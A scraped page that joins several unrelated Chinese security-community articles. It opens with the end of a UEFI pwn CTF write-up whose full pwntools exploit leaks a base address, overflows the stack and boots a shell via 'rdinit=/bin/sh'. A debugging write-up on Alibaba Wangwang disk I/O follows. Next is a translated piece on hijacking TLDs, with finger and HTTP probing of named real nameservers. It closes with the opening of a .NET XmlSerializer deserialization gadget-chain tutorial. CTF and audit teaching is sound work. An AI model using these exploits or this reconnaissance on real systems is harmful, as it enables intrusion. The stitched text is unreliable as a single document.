第二个地址减去偏移就是程序的基址。
调试的过程中会发现一个问题：虽然`winchecksec`检查程序没有开启`aslr`，但是实际上`UiApp`的加载基址是在变化的。所以需要泄露`.text`段的一个内存地址，才能成功把返回地址覆写成`boot
manager`对应的地址。
在调试的过程中，我发现当`Add`设置的字符串长度等于`256`个字节时，会打印出一个地址。通过多次尝试，我发现这个地址和`UiApp`的基址的偏移一定程度上是固定，为`0x1d009c0`或者`0x1e009c0`，通过泄露出的地址减去偏移实际上也就得到了`UiApp`的基址。
## 漏洞利用
和图形化界面进行交互，`pwntools`确实还存在一些问题，所以可以通过`socat`来进行连接。最终`exp`如下：
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
boot_offset = 0x235A
uiapp_offset = 0x1e009c0
DEBUG = 1
if DEBUG == 1:
'''
fname = "/tmp/uefi"
os.system("cp OVMF.fd %s"%fname)
os.system("chmod u+w %s"%fname)
'''
p = process([
"qemu-system-x86_64",
"-m", str(256+random.randint(0, 512)),
"-drive", "if=pflash,format=raw,file=OVMF.fd",
"-drive", "file=fat:rw:contents,format=raw",
"-net", "none",
"-monitor", "/dev/null",
#"-s","-S",
"-nographic"
])
else :
p = remote("47.243.105.43","9999")
LOCAL_REMOTE = 0
if LOCAL_REMOTE:
os.system("socat $(tty),echo=0,escape=0x03 SYSTEM:\"python ./exp.py \" 2>&1")
key_map = {
"up": b"\x1b[A",
"down": b"\x1b[B",
"left": b"\x1b[D",
"right": b"\x1b[C",
"esc": b"\x1b^[",
"enter": b"\r",
"tab": b"\t"
}
def send_key(key,times = 1):
for _ in range(times):
p.send(key_map[key])
if key == "enter":
p.recv()
def add(Keyname,Keyvalue):
p.sendlineafter("> \n",str(1))
p.sendlineafter('Key name:\n',Keyname)
p.sendlineafter('Key value:\n',Keyvalue)
def delete(Keyname,Keyvalue):
p.sendlineafter("> \n",str(2))
p.sendlineafter('Key name:\n',Keyname)
def Encode(Keyname):
p.sendlineafter("> \n",str(4))
p.sendlineafter("Key name:\n",Keyname)
p.recv()
def exp():
# leak UiAPP address
p.sendline("\x1b[24~"*10)
p.sendlineafter("> \n",str(1))
p.sendlineafter("Key name:\n","N1CTF_KEY3")
p.sendafter("Key value:\n",'a'*256)
p.recvuntil('Encode\n> \n')
p.sendline(str(3))
p.recvuntil("Key name:\n")
p.sendline('N1CTF_KEY3')
p.recvuntil('Value: \n')
p.recvuntil('a'*256)
data = p.recvuntil('\n').strip('\n')
leak_addr,i,j = 0,0,0
while i < len(data):
print(data[i])
if data[i] == "\\":
n = int(data[i+2],16)*0x10 + int(data[i+3],16)
i += 4
else:
n = ord(data[i])
i += 1
leak_addr += n * (0x100**j)
j += 1
uiapp_base_addr = leak_addr - uiapp_offset
log.success("leak address: %s"%hex(leak_addr))
log.success("UiApp address: %s"%hex(uiapp_base_addr))
boot_addr = uiapp_base_addr + boot_offset
pause()
# statck overflow
payload = 'a'*0x18 + p32(boot_addr)
add("N1CTF_KEY1",payload)
add("N1CTF_KEY2",payload)
add("OVERFLOW",'a'*0x11)
p.recvuntil("> \n")
p.sendline('4')
p.recvuntil('Key name:\n')
p.sendline('OVERFLOW')
# Add option,get root shell
p.recvuntil(b"Standard PC")
send_key("down", 3)
send_key("enter")
send_key("enter")
send_key("down")
send_key("enter")
send_key("enter")
send_key("down", 3)
send_key("enter")
p.send(b"\rrootshell\r")
send_key("down")
p.send(b"\rconsole=ttyS0 initrd=rootfs.img rdinit=/bin/sh quiet\r")
send_key("down")
send_key("enter")
send_key("up")
send_key("enter")
send_key("esc")
send_key("enter")
send_key("down", 3)
send_key("enter")
# root shell
# p.sendlineafter(b"/ #", b"cat /flag")
p.interactive()
def main():
exp()
if __name__ == "__main__":
main()
## 参考资料
<https://www.anquanke.com/post/id/243007#h2-0>
<https://eqqie.cn/index.php/archives/1929>
<https://github.com/topics/uefi-pwn>
* * * | 社区文章 |
作者：格蠹老雷
来源：[公众号：格友](https://mp.weixin.qq.com/s/xN5PWk2dK8XmhYiQEmj6Dw "公众号格友")
最近有些忙，几个方面的事情需要做，不得不多任务模式工作，在几台电脑之间穿梭。但就在我焦急忙碌的时候，我的笔记本时不时会消极怠工，跟不上节奏。怠工的方式有多种，可能是打开程序很慢，可能是切换输入法不灵活，有时Copy&
Paste也会卡顿...... 观察CPU使用率，没有什么异常。根据经验，估计是磁盘I/O方面的问题，但是一直没有腾出时间深入分析。
#### 收集数据
今天有些空闲，于是想清查一番，来一次严打。哪里下手呢？本着不冤枉一个好人，也不漏掉一个坏人的思想，先收集证据吧。调出WPA（Windows
Performance
Recorder），选择“磁盘I/O、文件I/O、注册表I/O和网络I/O”，通过Windows系统的ETW机制从内核那里采集第一手资料。I/O专项整治开始。
一边记录，一边触发一些最近感觉缓慢的操作，持续了3分钟后，点击停止，保存事件，然后使用WPA打开分析。
#### 谁家孩子玩硬盘
展开左侧的File I/O子树，选择Activity by Process, Thread,
Type分析，按访问文件的字节数（Size）排名，立刻有惊人结果呈现。
各位看官睁大眼睛看上图，排名第一的进程名叫wwbizsrv.exe。在采样的几分钟时间里，它的文件I/O数据量是3个多G。稳居第一名，看起来相当于其后所有进程的总和。观察文件属性，文件说明里写着“旺旺亮灯服务模块”。亮灯服务？什么鬼？老雷的电脑不是选秀舞台，也不是征婚现场啊？！
观察版权描述，Alibaba Group，哇塞，看了这个名字，知道为啥如此嚣张了。又是阿里家的软件。几年前曾领教过他家的支付宝客端，疯狂触发Page
Fault，每秒钟数千次。这次不再是支付宝客户端了，而是旺旺。
WPA截图中显示的数据量是刚才采样期间的，只有几分钟的长度，调出任务管理器，选择I/O有关的计数器，想看一看开机以来的累计情况。
结果很快呈现在面前，按I/O读取字节排名，旺旺又是稳居头把交椅，总字节数大约1.6个TB。我的天啊，1.6TB什么概念，老雷电脑上的两块硬盘加起来的总容量也不到1.1TB，而整个维基百科的所有文本也只有大约1GB，所以1.6TB相当于把所有硬盘空间读一遍，把维基百科读1600多编。亲啊，看你的图标，一脸幼稚，懵懂无知的样子，可你这是干什么啊？闲着空了，无聊了，就玩硬盘，是吧？
在系统服务列表里，也可以找到这个程序，描述里堂而皇之的写着“为阿里旺旺客户端提供基础保障服务，一旦停止该服务，有可能影响您的阿里旺旺使用。”看来虽然图标低调，但其实身份不一般，高居系统服务之位，已经进了系统的管理高层。但这个更要求你行为检点，以身作则啊，不然，以低特权身份运行在浏览器里的插件们会增么想？各种广告件又怎么想呢？“论起资源消耗，我还愧不如阿里家的旺旺呢！”
#### 旺旺，你在读什么？
从上面的WPA截图来看，旺旺进程在大约3分钟的时间里，做了8801次文件操作，其中3634次都是读操作。于是，我很想知道，旺旺啊，你在读什么？在我的电脑上找照片看呢么？
开个玩笑，还是要继续以数据说话，在WPA里面选择更多列，特别是文件路径（File Path）。于是，旺旺刚才访问的文件列表就在我们眼前了。
都访问了哪些文件呢？一共3000多次，上面截图只是其中一部分。让老雷有点惊讶的是，访问的文件类型大多都是DLL，DLL者，动态链接库也。不是图片，也不是文档，DLL里面主要是程序，即资源和编译后的代码。
浏览这个列表，让老雷更吃惊地的是，旺旺读文件的方式很豪放，每一次读操作，不是读几个字节，也不是读几十个字节，也不是读几百个字节，......而是一次读大约1百万字节。1百万字节什么概念？老雷的《软件调试》那本大厚书一共100多万字。旺旺一次大约读那么半本书（中文为双字节编码）。
另一个规律是，旺旺读的差不多都是自己的文件，有一说一，真的是这样。它没有读系统的，也没有读老雷的书稿。:-)
旺旺读的最多的一个文件，名叫aef.dll，在资源管理器找到这个文件后，首先我让我印象很深的是这个文件的块头，40多MB，其次是这个文件的说明和版权描述都为空白，不禁想起平凹前辈在《废都》里的名句：“此处省略xx字”。
除了DLL文件外， 旺旺读的较多的另一个文件名叫aef.pak，名字里也包含aef，一定和刚才aef.dll有关系，个头大约是8MB，也不算小。
PAK是什么呢？应该是源于英文的package，即打包的意思，很多游戏程序常常把零零碎碎的各种小文件打包成PAK。旺旺或许也使用这个技术来打包零碎的文件。直接浏览文件内容，前面一小部分是二进制的，后面是来自Chromium的脚本。Chromium是著名的浏览器项目，旺旺的界面看起来就像是web风格的。
再往后面有很多JavaScript代码。
看来旺旺读的文件，主要都是代码，有的是编译过的DLL代码，有的是脚本代码。如此说来，旺旺像是在孤芳自赏，闲下来，便打开自己家的程序文件，阅读里面的代码。可能是在欣赏代码里的优雅和智慧，也有可能是在使用达摩院里出来的最新最新的人工智能技术自动寻找瑕疵。也有可能.......
#### 上调试器
做了20多年的软件，看了旺旺所读文件后，老雷已经大约猜出了旺旺的心思。可能是怕自己的代码被人篡改，所以在检查。
空猜无凭，还是上调试器找数据吧。唤出WinDBG，附加到旺旺服务，失败，Access
Denied，哦，忘了它是系统服务，重新以管理员身份运行WinDBG，赋予它高特权！再次附加，成功。
`~*`列出所有线程，一共8个，不算多。`~*e .echo ***; ? @$tid;.ttime`列出每个线程的执行时间，寻找用时间最久的线程。
0:008> ~*e .echo ***; ? @$tid;.ttime
***
Evaluate expression: 13676 = 0000356c
Created: Tue Jan 30 14:43:47.119 2018 (UTC + 8:00)
Kernel: 0 days 0:00:00.015
User: 0 days 0:00:00.062
***
Evaluate expression: 22780 = 000058fc
Created: Tue Jan 30 14:43:47.440 2018 (UTC + 8:00)
Kernel: 0 days 0:00:00.203
User: 0 days 0:00:00.046
***
Evaluate expression: 23472 = 00005bb0
Created: Tue Jan 30 14:43:47.782 2018 (UTC + 8:00)
Kernel: 0 days 0:14:18.125
User: 0 days 0:00:14.437
***
Evaluate expression: 19608 = 00004c98
Created: Tue Jan 30 14:43:47.784 2018 (UTC + 8:00)
Kernel: 0 days 0:00:00.078
User: 0 days 0:00:00.062
***
Evaluate expression: 21896 = 00005588
Created: Tue Jan 30 14:43:47.974 2018 (UTC + 8:00)
Kernel: 0 days 0:00:02.781
User: 0 days 0:00:01.281
***
Evaluate expression: 11992 = 00002ed8
Created: Thu Feb 8 10:37:43.331 2018 (UTC + 8:00)
Kernel: 0 days 0:00:00.000
User: 0 days 0:00:00.000
***
Evaluate expression: 15592 = 00003ce8
Created: Thu Feb 8 10:37:43.332 2018 (UTC + 8:00)
Kernel: 0 days 0:00:00.000
User: 0 days 0:00:00.000
***
Evaluate expression: 26820 = 000068c4
Created: Thu Feb 8 09:17:33.964 2018 (UTC + 8:00)
Kernel: 0 days 0:00:00.000
User: 0 days 0:00:00.000
***
Evaluate expression: 11336 = 00002c48
Created: Thu Feb 8 10:41:56.790 2018 (UTC + 8:00)
Kernel: 0 days 0:00:00.000
User: 0 days 0:00:00.000
从列表可知，05bb0线程，花的CPU时间最长。切换到这个线程。执行k命令，观察它的执行经过。
有人说，人生有三个基本问题，从哪里来，到哪里去，现在在干什么。软件何尝不是如此呢？但人生的三问题，比较难回答。而软件的三个问题一条k命令的结果便是答案。
从上图看，这个线程来自wwbizsrv模块，也就是旺旺服务的主程序，因为没有符号文件，我们只能看到几个非常粗略的参照物。CPU在wwbizsrv模块中执行了几个函数后，开始调用系统的WaitForSingleObject函数，等待信号，进入内核。概括说来，这个线程来自旺旺服务的主模块，目前在等待信号，处于休息状态，它要往哪里去呢？
“读硬盘啊！”
根据老雷推测，它现在是休息一会，休息好了，继续玩硬盘。或者说，写这段代码的同行也知道，一直玩硬盘不行，要等一会，玩一下，等一会，玩一下。
等多久呢？看WaitForSingleObject函数的参数就知道了，第二个参数是001b7740 。十六进制的，不好理解，转换一下：
0:002> ? 001b7740
Evaluate expression: 1800000 = 001b7740
单位是毫秒，换算成分钟是30，哦，看来是要等待30分钟。如此看来，老雷刚才采样3分钟能捕捉到这个事件，也是幸运啊。亦或是天意。
轻敲键盘，对读文件之要塞处埋个断点，bp ntdll!NtReadFile，并给任务管理器做个截图，留作后面比较，然后先做做其它事情。
#### 疾风骤雨
半小时很快过去，断点命中。果然是刚才的线程。
0:002> kcn
#
00 ntdll!NtReadFile
01 KERNELBASE!ReadFile
02 wwbizsrv!curl_formfree
03 wwbizsrv!curl_formfree
04 wwbizsrv!curl_formfree
05 wwbizsrv!curl_formfree
06 wwbizsrv!curl_formfree
07 wwbizsrv!OPENSSL_Applink
08 wwbizsrv!OPENSSL_Applink
09 KERNEL32!BaseThreadInitThunk
0a ntdll!__RtlUserThreadStart
0b ntdll!_RtlUserThreadStart
再对打开文件的系统调用设置断点，命中后观察文件名，果然是在读旺旺的DLL：
0:002> dU 01db22e8
01db22e8 "c:\program files (x86)\aliwangwa"
01db2328 "ng\9.12.02c\appmodel.dll"
调整前面的两个断点，让其自动打印和自动恢复执行，因为预计要读很多个文件，对于读很多次，如果每次手动观察，那太累了。自动断点设置好后，恢复旺旺执行，果然输出不断：
哗哗地输出了几十秒钟后，终于安静下来了，一波暴风雨过去了。上面截图只是疯狂输出的一小小部分。其中靠下面的可以看到就是我们前面提到的aef.dll。
疯狂过后，看浏览自动输出，可以看到旺旺似乎是把旺旺客户端的所有文件都读了一遍，观察旺旺目录的大小，221MB。
再观察任务管理器，I/O读取字节指标已经由几分钟前的1724518253771，上升到1742116289711。
把疯狂前后的两个数字相减：
0:008> ?? 1742116289711-1724518253771
int64 0n17598035940
0:008> ? 0n17598035940
Evaluate expression: 17598035940 = 00000004`18ecb7e4
差值大约是16.38GB。
0:008> ?? 17598035940/(1024*1024*1024.0)
double 16.389448139816523
#### “读你198遍，我不厌倦”
聪明的读者看到这里可能有个疑惑，整个目录的大小为221MB，那么读一遍怎么在任务管理器里会上升16个GB呢？
坦率说，老雷起初也很困惑。后来仔细阅读WinDBG的输出信息，突然明白，天啊，原来旺旺不是只读一遍，也不是读两遍，也不是10编，20遍，而是难以计数的遍数。
为了精确统计到底读了多少遍，老雷特意把输出结果复制到VC编辑器中，然后查找和替换aef.dll，发现有198遍。
直接把198*221，大约是42GB，那么旺旺可能每一遍不是读整个目录，而是目录中的重要文件。具体清单可以查WinDBG的输出，暂不追究。
那么旺旺为什么重复读自己的文件呢？
老雷推测，旺旺读自己文件的目的是为了检查文件是否被篡改。应该是出于安全考虑吧，这是可以理解的。但是反复读这么多次就没有道理了。
为什么读这么多次呢？可能在某一个函数里有个写的不好的循环，也可能是团队协作不好，各自写代码，各自读文件，没有复用读到的文件内容。也可能是某个地方的代码存在瑕疵。（如果此文的点赞次数超过2000，那么老雷便再花半天时间，找到198次的下落）
于是乎，有读者可能会问，这样的问题，测试不会发现么？从老雷几次分析阿里软件的经验来推测，阿里的同行们似乎很少做性能测试。他们或许是觉得不需要，有那么多用户测试呢。
:-)
对于这个问题，测试的难度也有一点，看起来是每半小时疯狂读一次，那么测试的如果不仔细，那么可能发现不了。
那么是谁做的这样的设计呢？设计时就没有考虑到性能的影响么？大家没有review过这个设计么？团队里的软件架构师呢？高级程序员呢？项目经理呢？开发经理呢？
也有人想知道，这样做的害处到底有多大呢？简单回答，当这样的疯狂读磁盘动作开始后，系统里的磁盘I/O队列会变得很长。磁盘队列长意味着读磁盘要排长队。
磁盘是系统的关键部件，很多操作都依赖磁盘。受影响的不仅仅是文件读写，还有系统里的Page
Fault处理。因此，长的磁盘队列会让磁盘成为系统的瓶颈，影响整个系统的性能。顶层的表现就是系统缓慢，反应不灵活，甚至出现明显的卡顿。
那么有人问，安全是必须的，不这样做可以怎么做呢？首先不要重复那么多次，这个是初级程序员都懂的吧？其次是非要监视文件变化，怕黑客篡改，那么可以订阅文件系统的文件修改事件啊。那样不仅开销小，而且可以及时收到通知。现在这个这样，每半个小时，胡乱地读一番，聪明的黑客可能在这个半小时的间隙里早把想做的事情做好了。安全重要，但是如何做安全，是要讲究方法和策略的啊。
马云先生说过，阿里早期发展时遇到的最大问题是“信任”问题，买家不相信卖家，不敢付钱，卖家不相信买家，不敢发货.......最后的解决方法是通过数据建立信任，什么是数据，网页上的每一句描述，旺旺聊天里的每一次对话，都是数据，都是凭证，都是信任的基础。从这个角度上看，我们能更好理解地阿里为什么不复用现成的QQ，而是自己花力气开发一个旺旺。从这个角度来看，旺旺对于阿里的成功乃至于整个中国互联网的蓬勃发展都是有巨大贡献的，可谓功勋卓著。
但是也有名人说过，信任很脆弱，是很容易破碎的。今天，广大的用户因为信任阿里，所以大家都几乎不犹豫的安装了旺旺。但是看到旺旺如此疯狂地访问硬盘，无谓地消耗系统资源，老雷真的很生气，其它用户可能也很生气。惹恼了的用户可能把这个淘气的孩子赶出系统。刚刚，老雷已经把排名在旺旺后的DELL程序和Akamai程序删除掉了，并把旺旺服务设置为禁用状态，只允许其在规定时间运行，并希望阿里的同行能早日修正这个问题。
**欢迎关注作者公众号**
* * * | 社区文章 |
# 【技术分享】劫持一个国家的顶级域名之旅：域名后缀的隐藏威胁（上）
|
##### 译文声明
本文是翻译文章，文章来源：thehackerblog.com
原文地址：<https://thehackerblog.com/the-journey-to-hijacking-a-countrys-tld-the-hidden-risks-of-domain-extensions/index.html>
译文仅供参考，具体内容表达以及含义原文为准。
翻译：[WisFree](http://bobao.360.cn/member/contribute?uid=2606963099)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**写在前面的话**
域名不仅是我们实现互联网的基础，而且也让我们在访问互联网资源时方便了许多。虽然很多人在自己的日常生活中都会使用到各种各样的域名，但是几乎很少有人真正了解它们的运行机制。在多个抽象层以及多种Web服务的帮助下，用户可以轻松地购买并持有域名，然后在完全不了解DNS、域名注册商或WHOIS的情况下搭建好自己的整个站点。虽然这种抽象形式给终端用户带来了很多好处，但同样也给他们屏蔽了很多重要信息。比如说，很多域名注册商会向用户积极推荐.io域名，但是又有多少个购买了.io域名的用户清楚谁才是背后真正持有并管理这些.io域名的人呢？
我想表达的并不是“绝大多数的域名持有者都不知道自己域名背后的运行机制”。实际上，我想在这篇文章中跟大家讨论的是域名后缀（Domain
Extension）的安全问题。
**DNS结构简介**
注：如果你已经清楚DNS的工作机制及其委派机制的话，你可以直接跳过这一章节。
那么，当你购买一个域名时，你真正购买的实际上是什么呢？简单来说，你购买的实际上是一些NS（域名解析服务器）记录，这些记录托管在域名后缀的域名解析服务器上，其中还不包括类似WHOIS、域名注册商服务以及ICANN服务这样的辅助性服务在内。我在研究过程中发现，如果想要深入理解DNS的运行机制，那么可视化绝对是一种非常好的学习方式，因此我专门编写了这款名叫TrustTrees的工具，它可以生成一个域名的委托路径图。为了更好地理解域名后缀在整个DNS执行链中的具体位置，我们先来看一看下面这张图片，图片中显示的是example.com的委托链。
如上图所示，委托链起始于根节点DNS服务器，并通过一系列节点之间的传递最终寻找到目标域名解析服务器，客户端发送的DNS查询请求同样起始于根节点DNS服务器。客户端会向其中一个root域名解析服务器发送DNS查询请求，但服务器起始并不知道如何响应这种请求，因此它会将查询请求委托给TLD（顶级域名），而TLD会负责将请求发送给正确的域名解析服务器，最终客户端将接收到正确的域名解析服务器所返回的[权威应答](https://serverfault.com/questions/413124/dns-nslookup-what-is-the-meaning-of-the-non-authoritative-answer)。上图显示了所有可能的委托路径（蓝色代表权威应答），之所以会存在这么多路径，是因为DNS响应中包含一堆随机排序的应答列表，这是为了均衡查询负载而设计的（这种技术名为[Round
Robin DNS](https://en.wikipedia.org/wiki/Round-robin_DNS)）。根据返回结果的不同顺序，最终负责处理查询请求的域名解析服务器也会不同，因此它们也有可能提供不同的查询结果，上图中也显示了不同的排序以及域名解析服务器之间的关系。
因此，你在购买了example.com之后，.com将会向其DNS空间中添加一些NS记录，这些记录负责将有关example.com的DNS查询请求委托给你所提供的域名解析服务器。这种“委托给你域名解析服务器”的方式不仅可以允许你控制自己的域名，而且还可以允许你创建example.com的任意子域名以及DNS记录。如果.com将指向你域名解析服务器的NS记录移除了，那么任何人都无法再访问到你的域名解析服务器，因此example.com也就没有意义了。
实际上在上图所示的链图中，TLD和域名后缀的工作机制是十分相似的。TLD之所以能够存在并进行操作，是因为根域名解析服务器将查询请求委托给了TLD的域名解析服务器，如果根域名解析服务器突然将.com的NS记录从其域名空间数据库中删除了，那么全世界所有的.com域名都将无法正常访问。
与域名一样，域名后缀同样会受到域名解析服务器漏洞的影响
我们现在已经清楚了，TLD和域名后缀与普通域名一样都是拥有域名解析服务器的，那么问题就来了，“这是否意味着TLD和域名后缀与普通域名一样也会受到DNS安全问题的影响呢？”答案是肯定的。如果你阅读我我们之前发布的一些文章，你就会知道我们有多种方法来劫持域名解析服务器。不仅如此，我们还介绍了如何利用过期域名劫持域名解析服务器【[参考资料一](https://thehackerblog.com/the-international-incident-gaining-control-of-a-int-domain-name-with-dns-trickery/index.html)】以及如何在未经认证的情况下拿到域名空间的完整控制权【[参考资料二](https://thehackerblog.com/the-orphaned-internet-taking-over-120k-domains-via-a-dns-vulnerability-in-aws-google-cloud-rackspace-and-digital-ocean/index.html)】。有了上面这些知识储备之后，我们准备实现一个更加有意思的目标：接管整个域名后缀。
**接管域名后缀-攻击计划**
与恶意攻击者不同的是，我并不打算走捷径来实现我们的目标，即劫持一个域名后缀。我会按照攻击域名后缀的研究方法来带着大家一步一步进行操作。但是我发现，很多域名后缀／TLD域名解析服务器都处于一种非常不安全的状态，所以利用漏洞并获取到一个域名后缀的控制权其实比你想象的还要简单。虽然讨论类似“如何在域名解析服务器／记录上实现远程代码执行”这样的话题有些超纲了，但我还是要提到这部分内容，因为这也是实现我们目标的方法之一。
一般来说，攻击者一般会使用下面这些方法来入侵一个TLD或域名后缀：
利用DNS服务器（该服务器托管了一个给定的域名后缀）中的漏洞或利用域名后缀的域名解析服务器中其他服务的漏洞。攻击域名记录的方法同样属于这种类型，因为更新域名空间对它们来说属于常规操作。
查找并注册一个过期或拼写有误的域名解析服务器域，它可以提供针对域名后缀/TLD的权威应答。
通过创建一个DNS空间来劫持域名后缀。
查找TLD的WHOIS联系信息，并劫持其电子邮箱地址。
接下来，我们会对上面这些方法一一进行讨论，并尝试一步一步实现我们的目标。
很多TLD和域名后缀的域名解析服务器都存在安全漏洞
在研究第一种攻击方法之前，我打算对所有TLD的域名解析服务器进行一次简单的端口扫描。一般情况下，服务器会开启端口53来监听UDP/TCP连接，此时所有其他的端口都将处于关闭状态。鉴于这些域名解析服务器的功能和地位都如此重要，所以管理员们都会尽可能地缩小服务器与外界的接触范围，暴露任何多余的服务（例如HTTP、SSH或SMTP等等）都意味着我们在给攻击者提供更多的入侵方法。
**Finger协议**
203.119.60.105（e.dns-server.vn）:
[顶级域名.vn](https://en.wikipedia.org/wiki/.vn)的权威域名解析服务器（越南）
202.29.151.3（munnari.oz.au）:[顶级域名.ba](https://en.wikipedia.org/wiki/.ba)的权威域名解析服务器（波斯尼亚和黑塞哥维那）
Les
Earnest于1971年设计出了[Finger协议](https://en.wikipedia.org/wiki/Finger_protocol)，该协议允许用户检查远程计算机中某个用户的状态。这是一个非常老的协议，现代系统几乎不会再使用这个协议了。这个协议的核心观点正好可以回答下面这个问题：“嗨，Dave现在正在使用他的设备吗？他正在忙吗？”在Finger协议的帮助下，你可以检测远程用户的登录名、真实名称、终端名称、空闲时间、登录时间、办公地点以及办公电话等等。接下来，我们会利用Finger协议来检查上面那个波斯尼亚的权威域名解析服务器，然后查看root用户的情况：
bash-3.2$ finger -l [email protected]
[202.29.151.3]
Login: root Name: Charlie Root
Directory: /root Shell: /bin/sh
Last login Sat Dec 14 16:41 2013 (ICT) on console
No Mail.
No Plan.
看来这个服务器的root用户已经很久没上过线了…接下来，我们看一看越南的那个域名解析服务器：
bash-3.2$ finger -l [email protected]
[203.119.60.105]
Login name: nobody In real life: NFS Anonymous Access User
Directory: /
Never logged in.
No unread mail
No Plan.
Login name: noaccess In real life: No Access User
Directory: /
Never logged in.
No unread mail
No Plan.
Login name: nobody4 In real life: SunOS 4.x NFS Anonymous Access User
Directory: /
Never logged in.
No unread mail
No Plan.
Login name: named In real life: User run named
Directory: /home/named Shell: /bin/false
Never logged in.
No unread mail
No Plan.
bash-3.2$
bash-3.2$ finger -l [email protected]
[203.119.60.105]
Login name: root In real life: Super-User
Directory: / Shell: /sbin/sh
Last login Tue Sep 30, 2014 on pts/1 from DNS-E
No unread mail
No Plan.
这个服务器的root用户上一次登录时间为2014年9月30日。需要注意的是，这些服务器安装了Finger协议，也就暗示了这些服务器的年代到底有多么久远。
**动态网站**
除了端口53之外，域名解析服务器中最常见的开放端口应该就是端口80（HTTP）了，我们甚至可以直接访问这些网站来获取很多有意思的信息。比如说，其中的一个域名解析服务器会直接将我重定向到一个广告网站：
* Rebuilt URL to: http://93.190.140.242/
* Trying 93.190.140.242...
* Connected to 93.190.140.242 (93.190.140.242) port 80 (#0)
> GET / HTTP/1.1
> Host: 93.190.140.242
> Accept: */*
> User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/20100101 Firefox/45.0
>
< HTTP/1.1 302 Moved Temporarily
< Server: nginx/1.10.1
< Date: Sun, 04 Jun 2017 03:16:30 GMT
< Content-Type: text/html
< Transfer-Encoding: chunked
< Connection: close
< X-Powered-By: PHP/5.3.3
< Location: http://n158adserv.com/ads?key=6c6004f94a84a1d702c2b8dc16052e50&ch=140.242
<
* Closing connection 0
我现在还无法确定这是不是一台已经被入侵的域名解析服务器，或者说这只是管理员单纯地想赚外快而已。
某些其他的域名解析服务器（例如阿尔巴尼亚的.com.al, .edu.al, .mil.al,
.net.al和.nic.al域名解析服务器）则会返回各种配置页面，这些页面提供了关于当前设备的verbose信息：
如果不能在远程服务器上运行命令行工具的话，总感觉少了点什么：
**总结**
除此之外，某些域名解析服务器中还加载了很多有趣的服务，但在此我就不对其进行赘述了。对于域名解析服务器来说，类似SMTP、IMAP、MySQL、SNMP和RDP这样的端口很可能都处于开放状态，这些服务给攻击者提供了很多攻击切入点，这将会极大地提高攻击者的入侵成功率。但我不鼓励大家进行更深入地测试，因为我们的目的并不是为了进行恶意操作。其实很多域名解析服务器早就已经过时了，而且服务器所运行的软件其安全性也是千疮百孔。不幸的是，由于这些服务器的年代过于久远，我们甚至连管理员都无法联系到，更别说去修复这些漏洞了。
本系列文章未完结，对此话题感兴的用户可以随时关注安全客以获取最新的文章动态，敬请期待！ | 社区文章 |
# .NET高级代码审计（第一课）XmlSerializer反序列化漏洞
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：Ivan1ee@云影实验室
## 0X00 前言
在.NET 框架中的 XmlSerializer 类是一种很棒的工具，它是将高度结构化的 XML 数据映射为 .NET
对象。XmlSerializer类在程序中通过单个 API 调用来执行 XML 文档和对象之间的转换。转换的映射规则在 .NET
类中通过元数据属性来表示，如果程序开发人员使用Type类的静态方法获取外界数据，并调用Deserialize反序列化xml数据就会触发反序列化漏洞攻击（例如DotNetNuke
任意代码执行漏洞 CVE-2017-9822），本文笔者从原理和代码审计的视角做了相关脑图介绍和复现。
## 0X01 XmlSerializer序列化
.NET 框架中 System.Xml.Serialization 命名空间下的XmlSerializer类可以将 XML 文档绑定到 .NET
类的实例，有一点需要注意它只能把对象的公共属性和公共字段转换为XML元素或属性，并且由两个方法组成：Serialize() 用于从对象实例生成
XML；Deserialize() 用于将 XML
文档分析成对象图，被序列化的数据可以是数据、字段、数组、以及XmlElement和XmlAttribute对象格式的内嵌XML。具体看下面demo
XmlElement指定属性要序列化为元素，XmlAttribute指定属性要序列化为特性，XmlRoot特性指定类要序列化为根元素；通过特性类型的属性、影响要生成的名称、名称空间和类型。再创建一个TestClass类的实例填充其属性序列化为文件，XmlSerializer.Serialize方法重载可以接受Stream、TextWrite、XmlWrite类，最终生成的XML文件列出了TestClass元素、Classname特性和其它存储为元素的属性：
## 0x02 XmlSerialize反序列化
反序列过程：将xml文件转换为对象是通过创建一个新对象的方式调用XmlSerializer.Deserialize方法实现的，在序列化最关键的一环当属new
XmlSerializer构造方法里所传的参数，这个参数来自System.Type类，通过这个类可以访问关于任意数据类型的信息，指向任何给定类型的Type引用有以下三种方式。
### 2.1、typeof
实例化XmlSerializer传入的typeof(TestClass)
表示获取TestClass类的Type，typeof是C#中的运算符，所传的参数只能是类型的名称，而不能是实例化的对象，如下Demo
通过typeof获取到Type之后就能得到该类中所有的Methods、Members等信息。下图运行Debug时，弹出消息对话框显示当前成员Name的值。
### 2.2、object.Type
在.NET里所有的类最终都派生自System.Object，在Object类中定义了许多公有和受保护的成员方法，这些方法可用于自己定义的所有其他类中，GetType方法就是其中的一个，该方法返回从System.Type派生的类的一个实例，因为可以提供对象成员所属类的信息，包括基本类型、方法、属性等，上述案例中实例化TestClass，再获取当前实例的Type，如下Demo
### 2.3、Type.GetType
第三种方法是Type类的静态方法GetType，这个方法允许外界传入字符串，这是重大利好，只需要传入全限定名就可以调用该类中的方法、属性等
Type.GetType传入的参数也是反序列化产生的漏洞污染点，接下来就是要去寻找可以被用来攻击使用的类。
## 0X03 打造攻击链
首先放上攻击链打造成功后的完整Demo，这段Demo可以复用在任意地方（这里不涉及.NET Core、MVC），如下图
只要XmlSerializer存在反序列化漏洞就可用下面Demo中的内容，涉及到三个主要的技术点，以下分别来介绍原理。
### 3.1、ObjectDataProvider
ObjectDataProvider类，它位于System.Windows.Data命名空间下，可以调用任意被引用类中的方法，提供成员ObjectInstance用类似实例化类、成员MethodName调用指定类型的方法的名称、成员MethodParameters表示传递给方法的参数，参考下图
再给TestClass类定义一个ClassMethod方法，代码实现调用System.Diagnostics.Process.Start启动新的进程弹出计算器。如果用XmlSerializer直接序列化会抛出异常，因为在序列化过程中ObjectInstance这个成员类型未知，不过可以使用ExpandedWrapper扩展类在系统内部预先加载相关实体的查询来避免异常错误，改写Demo
生成data.xml内容如下：
攻击链第一步就算完成，但美中不足的是因笔者在测试环境下新建的TestClass类存在漏洞，但在生产情况下是非常复杂的，需要寻求Web程序中存在脆弱的攻击点，为了使攻击成本降低肯定得调用系统类去达到命令执行，所以需要引入下面的知识。
### 3.2、ResourceDictionary
